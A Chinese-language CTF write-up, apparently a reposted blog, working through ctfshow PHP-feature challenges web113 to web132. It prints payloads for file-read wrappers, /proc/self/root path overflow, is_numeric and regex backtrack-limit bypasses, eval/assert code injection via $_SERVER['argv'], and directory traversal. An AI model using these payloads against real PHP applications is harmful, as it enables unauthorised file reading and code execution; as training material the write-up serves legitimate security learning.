Ctfshow web入门 PHP特性篇 web89-web151 全(二)

本文涉及的产品
文本翻译,文本翻译 100万字符
文档翻译,文档翻译 1千页
语种识别,语种识别 100万字符
简介: Ctfshow web入门 PHP特性篇 web89-web151 全(二)

·Ctfshow web入门 PHP特性篇 web89-web151 全(一):https://developer.aliyun.com/article/1585247

CTFshow PHP web113

这次限制了filter伪协议

压缩流payload可以继续用

?file=compress.zlib://flag.php

新知识点:目录溢出导致is_file认为这不是一个文件。

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

引用一下佬的博客:


linux里/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容


/proc/self:不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。/proc/self/root/是指向/的符号链接,就是根目录。

CTFshow PHP web114

加了对compress 、root、 zip的过滤,之前的payload都用不了了。

但是,对filter的过滤却不见了。

payload:

?file=php://filter/resource=flag.php

CTFshow PHP web115

让我们GET传参一个num,满足is_numeric(num)andnum) and num!=='36' and trim(num)!==36andfilter(num)!=='36' and filter(num)=='36') 与$num=='36',注意,这里是字符串’36’。


trim():去除字符串首尾处的空白字符(或者其他字符)

自定义函数filter():把num中0x、0、e、.、+字符都换成数字1。

网上有一个FUZZ脚本:

<?php
for($i = 0; $i<129; $i++){
  $num=chr($i).'36';
  if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
    echo urlencode(chr($i))."\n";
  }
}
?>

一共有五个条件,脚本fuzz了三个,跑出来的字符是:

%0C、%2B、-、.、0、1、2、3、4、5、6、7、8、9

还剩两个条件是filter(num)==36num)=='36' 和num=='36'

跑出来的字符中,-、0、1、2、3、4、5、6、7、8、9直接就导致了num不满足$num==‘36’

跑出来的字符中,%2B(+的url编码)和 . 会被filter函数识别换成1,num变成136,不满足$num==‘36’

payload:

?num=%0C36

正常思路是去找函数绕过。


is_numeric():

php中is_numeric函数的绕过_is_numeric绕过_T0mrvvi1b3t的博客-CSDN博客

利用数组+十六进制来进行绕过;在前后加%00或在后加%20(空格);类型转换绕过:is_numeric(999a)是false。

所以我们可以选择在前面加%20,is_numeric()不会被绕过,任然判断为true。

trim()不会移除%0c

加上%0c换页符,是%0c36,这个东西类型转换时会被转换为数值36。%0c36在==进行类型转换,结果true;在!==不进行类型转换,所以字符串和数值比较,类型不同,结果true。

payload:

?num=%0C36

CTFshow PHP web123

考点:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了。


这里CTF[SHOW.COM=>CTF_SHOW.COM


要求CTF_SHOW、CTF_SHOW.COM必须传参,fl0g不能传参。所以$fl0g==="flag_give_me"条件不能满足,可以利用上面的eval。

payload:

CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

问题来了,题中有一段代码是a=a=_SERVER['argv'];,这个argv是个什么呢?

第一次遇到它的时候是pear文件包含,argv这个东西涉及到了pear文件包含的原理。

argv是数组,argc是数字。
可通过var_dump($_SERVER);和var_dump($argv);语句查看

argv有独立GET之外获取参数的作用。比如传入?aaa+bbb   argv(数组)两个元素

是aaa和bbb。argc是数组的长度。

php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。

这个argv还分两种模式,web和cli

web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果,题目中应该是On

这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
//$_SERVER[‘argv’][0]就是a[0]

$argv,$argc在web模式下不适用
cli模式(命令行)下

第一个参数总是当前【脚本】的文件名,因此 $argv[0] 就是脚本文件名。

当把php作为脚本,使用这个命令执行:php script.php arg1 arg2 arg3

以上示例的输出类似于:
array(4) {
  [0]=>
  string(10) "script.php"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}

我们是在网页模式下的,注意重点:

SERVER[argv][0]=_SERVER[‘argv’][0] = _SERVER[‘QUERY_STRING’]

而 $_SERVER[‘QUERY_STRING’] 是获取查询语句,也就是?后面的语句

举个例子:

如果    ?$fl0g=flag_give_me

$_SERVER['argv'][0]=$a[0]
=$_SERVER[‘QUERY_STRING’]就是$fl0g=flag_give_me

利用SERVER[argv][0]isset(_SERVER['argv'][0] 就可以绕过对isset(fl0g)的判断。用+代表空格。

payload:

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

//从而满足之后的判断语句
//if($fl0g==="flag_give_me"){
//    echo $flag;
//}

get:
?a=1=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) 

//需要用burp发包

CTFshow PHP web125

这次过滤了echo,长度限制也变短了

之前的payload满足条件的还剩

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

get:
?a=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])      
//需要用burp发包

我们还可以用highlight_file构造一个新的payload:

get:
?1=flag.php
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
//不懂c怎么小于16的

CTFshow PHP web126

多过滤了字母g i f c o d

那么highlight_file不能用了,各种输出函数不能使用了,所以不能直接通过eval("c".";");flagfl0gechoc".";");来实现输出flag了,需要考虑用满足fl0g的条件来echo flag。

之前的payload还剩下能用的:

?a=1+fl0g=flag_give_me          //GET

CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])     //POST 
//需要用burp发包
?$fl0g=flag_give_me;      //GET

CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])    //POST

当然,eval也能用assert代替。

(突然回忆到蚁剑的转接头,有时候eval用不了也是能用assert的)

assert的语法要求没eval那么严格,相比上一个payload,$fl0g=flag_give_me少一个分号也没啥事。

?$fl0g=flag_give_me     //GET

CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])   //POST

别的师傅对assert的详细解释:

assert() 断言:

PHP 5
bool assert ( mixed $assertion [, string $description ] )

PHP 7
bool assert ( mixed $assertion [, Throwable $exception ] )

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行
可见,eval和assert都可以将字符当作代码执行。

CTFshow PHP web127

注释都告诉我们了有waf。

SERVER[QUERYSTRING];"web123_SERVER['QUERY_STRING'];":web123提到过_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’],在题目,就是web模式下,这个和GET传参有关

extract:从数组中将变量导入到当前的符号表

回归题目

浏览所有代码,我们能获取flag的路径只有

if($ctf_show==='ilove36d'){
    echo $flag;
}

所以我们的目标是使$ctf_show==='ilove36d' 。

很容易想到GET传参?ctf_show=ilove36d 。

然后 extract()函数把我们的传参导入到当前的符号表使$ctf_show==='ilove36d'

但是有一个问题,自定义函数waf()会对urlurl也就是_SERVER['QUERY_STRING']也就是我们的GET传参进行正则匹配过滤,ctf_show中_会被过滤使程序直接die出。

回归web123,可以自动转成下划线又不在waf里面的,就只有空格。

我们GET传参?ctf show=ilove36d就行了

CTFshow PHP web128

让我来看看你有多骚~

直接给了源码。

题目的正则要求f1不存在字母数字,v2无限制。


call_user_func:第一个参数是被调用的回调函数,其余参数是回调函数的参数。

var_dump:打印变量的相关信息


扩展

gettext():_()是gettext()的拓展函数 在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数


get_defined_vars:返回由所有已定义变量所组成的数组,因为包含了flag.php,所以flag.php里面肯定有$flag储存了flag。


所以可构造playload:

?f1=_&f2=get_defined_vars 
var_dump(call_user_func(call_user_func($f1,$f2)));
=> var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
=> var_dump(call_user_func(get_defined_vars));

确实够骚的。

CTFshow PHP web129

stripos:查找字符串首次出现的位置

readfile: 输出文件

考点:目录穿越

题目要求我们构造的f中有ctfshow,且不在最开头。则执行readfile函数,同时还要不影响flag.php的读取

GET传参:

//查看源码
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php

//直接回显base64
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

CTFshow PHP web130

题目描述:very very very(省略25万个very)ctfshow

分析代码:

if(preg_match('/.+?ctfshow/is', $f)){
     die('bye!');
}

要求我们传入的字符串不包含"ctfshow" (preg_match判断)

if(stripos($f, 'ctfshow') === FALSE){
    die('bye!!');
}

要求我们传入的字符串包含"ctfshow" (stripos判断)

方法一:

preg_match不识别数组,否则返回false

采用数组绕过的方法,stripos()遇到数组会返回null,null!=false,所以可以绕过stripos函数

f[]=1

方法二:

.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复。

所以在ctfshow前面必须有至少一个字符,才会返回true

所以直接构造playload:f=ctfshow,即可绕过preg_match函数

同时,if(0 === flase)返回值为false0不是强等于false的,所以也不满足if(stripos($f, 'ctfshow') === FALSE)

f=ctfshow

方法三:

溢出回溯限制,这个知识点在2023年安洵杯第一题刚刚遇到过。

PHP利用PCRE回溯次数限制绕过某些安全限制

引用一下小元砸师傅的博客

PHP中,为了防止一次正则匹配调用的匹配过程过大从而造成过多的资源消耗,限定了一次正则匹配中调用匹配函数的次数。 回溯主要有两种

贪婪模式下,pattern部分被匹配,但是后半部分没匹配(匹配“用力过猛”,把后面的部分也匹配过了)时匹配式回退的操作,在出现*、+时容易产生。

非贪婪模式下,字符串部分被匹配,但后半部分没匹配完全(匹配“用力不够”,需要通配符再匹配一定的长度),在出现*?、+?时容易产生。

利用脚本:

import requests
url="xxxxxxxxxxxxxxx"
data={
    'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

执行后,因为超出了preg_match的回溯次数,报错返回false,达到绕过的效果,

同时因为POST传入的f中有ctfshow,第二个判断也被绕过,输出flag。

方法四:

f=ctfshow[]

【原理存疑】

CTFshow PHP web131

和web130差不多,但是由于改了stripos()的匹配内容,之前的方法二用不了了

因为f=(String)f = (String)_POST['f'];对$F进行了强制类型转换,所以之前的方法一、四也用不了了。只剩下方法三——溢出回溯限制

跑一下利用脚本

CTFshow PHP web132

题目描述:为什么会这样?

话不多说,直接开始信息搜集

先dirsearch扫一下。

访问/admin/index.php路由得到源码

分析一下代码:


mt_rand():使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快


&&和||优先级问题||优先级低于&&。if(code === mt_rand(1,0x36D) &&code === mt_rand(1,0x36D) && password === flag||flag || username ==="admin")可看作if((code === mt_rand(1,0x36D) &&code === mt_rand(1,0x36D) && password === flag)||flag )|| username ==="admin")


所以只需要满足后者就行:$username ==="admin"

同时满足下一个if:$code == 'admin'

payload:

?username=admin&code=admin&password=6666666

其实第一个$code === mt_rand(1,0x36D)为false,之后就执行||后面的内容,跳过了对password的判断,这叫做"短路"


Ctfshow web入门 PHP特性篇 web89-web151 全(三):https://developer.aliyun.com/article/1585328

目录
相关文章
|
23天前
|
PHP
PHP中的面向对象编程入门
在PHP的海洋里,面向对象编程(OOP)是一艘承载着代码复用与组织之美的巨轮。本文将带你启航,从基础概念到实际应用,领略类与对象的风采,掌握封装、继承、多态三大奥义。准备好你的航海图,让我们揭开PHP OOP的神秘面纱,驶向高效编程的彼岸。
|
26天前
|
Java 开发者 微服务
Spring Boot 入门:简化 Java Web 开发的强大工具
Spring Boot 是一个开源的 Java 基础框架,用于创建独立、生产级别的基于Spring框架的应用程序。它旨在简化Spring应用的初始搭建以及开发过程。
48 6
Spring Boot 入门:简化 Java Web 开发的强大工具
|
1月前
|
Java 程序员 PHP
01 入门PHP就来我这-安装phpstudy
路老师的PHP入门教程,带你从零开始学习PHP。首先下载并安装phpStudy,接着配置域名和端口,最后创建并运行第一个PHP文件。内容详实,适合初学者。
47 3
01 入门PHP就来我这-安装phpstudy
|
23天前
|
缓存 PHP 开发者
PHP 7新特性及其影响
本文主要介绍了PHP 7的新特性以及这些新特性对开发者和项目的影响。文章详细解析了PHP 7的性能提升、类型声明、空合并运算符等新特性,并讨论了如何利用这些新特性来优化代码。同时,文章也探讨了这些新特性可能带来的问题和挑战,如兼容性问题和学习成本等。最后,文章以一个实际的代码示例来展示如何使用PHP 7的新特性来优化代码。
21 1
|
28天前
|
编译器 PHP 开发者
PHP 8新特性解析与实战应用####
随着PHP 8的发布,这一经典编程语言迎来了诸多令人瞩目的新特性和性能优化。本文将深入探讨PHP 8中的几个关键新功能,包括命名参数、JIT编译器、新的字符串处理函数以及错误处理改进等。通过实际代码示例,展示如何在现有项目中有效利用这些新特性来提升代码的可读性、维护性和执行效率。无论你是PHP新手还是经验丰富的开发者,本文都将为你提供实用的技术洞察和最佳实践指导。 ####
31 1
|
1月前
|
PHP 开发者
PHP 7新特性深度解析
【10月更文挑战第40天】随着PHP 7的发布,这个广泛使用的语言带来了许多令人兴奋的新特性和性能改进。本文将深入探讨PHP 7的主要变化,包括类型声明、错误处理机制、性能优化等方面,帮助开发者更好地理解和应用这些新特性。
35 4
|
1月前
|
安全 关系型数据库 PHP
探索PHP:从入门到精通
【10月更文挑战第38天】在这篇文章中,我们将一起踏上PHP的探索之旅。无论你是初学者还是有经验的开发者,这篇文章都将为你提供有价值的信息和技巧。我们将从PHP的基础开始,逐步深入到更复杂的主题,包括面向对象编程、数据库操作、安全性问题等。最后,我们将通过一些实用的代码示例,来展示PHP的强大功能和灵活性。让我们一起开始这段旅程吧!
14 2
|
1月前
|
存储 Serverless PHP
PHP编程入门:从基础到实战
【10月更文挑战第35天】本文将带你走进PHP的世界,从最基本的语法开始,逐步深入到实际应用。我们将通过简单易懂的语言和实际代码示例,让你快速掌握PHP编程的基础知识。无论你是初学者还是有一定经验的开发者,都能在这篇文章中找到你需要的内容。让我们一起探索PHP的魅力吧!
|
1月前
|
PHP 开发者
PHP 7新特性深度解析及其最佳实践
【10月更文挑战第31天】本文将深入探讨PHP 7带来的革新,从性能提升到语法改进,再到错误处理机制的变革。我们将通过实际代码示例,展示如何高效利用这些新特性来编写更加健壮和高效的PHP应用。无论你是PHP新手还是资深开发者,这篇文章都将为你打开一扇窗,让你看到PHP 7的强大之处。
|
1月前
|
安全 编译器 PHP
PHP 8新特性解析与实践应用####
————探索PHP 8的创新功能及其在现代Web开发中的实际应用